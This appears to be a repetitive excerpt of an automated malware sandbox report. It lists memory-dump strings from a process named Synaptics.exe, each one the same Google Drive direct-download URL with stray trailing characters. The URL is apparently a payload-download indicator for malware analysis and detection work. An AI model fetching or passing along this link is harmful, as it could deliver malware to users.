Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5(A
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5Y
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5f
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5k
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5m
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5p
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6&
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6X)
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download78
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7?
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8%
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8G
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:C
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:_
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;1
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;9
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=B
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=F
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=h
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=~
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D8E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?=XY=
Source: Synaptics.exe, 00000003.00000002.3010086319.000000002AEBE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?S
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?z
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA(5
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAY
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAZ
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAk
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAq?
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBC
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBX
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBp
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC1
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC94
Source: Synaptics.exe, 00000003.00000002.2942880191.0000000005399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCH-UA-FoB
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCa
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCo
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD%
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD91rlB
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDG
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe1l
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenetleniyor...
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDiN
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE:
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEh
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEn
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF_
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D8E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG9
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG=0Y;
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH8
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHD.
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHZ
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI3d3
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIF
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIh3
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIo
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI~7
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005399000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ(
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJY
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJk4_?
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJq4
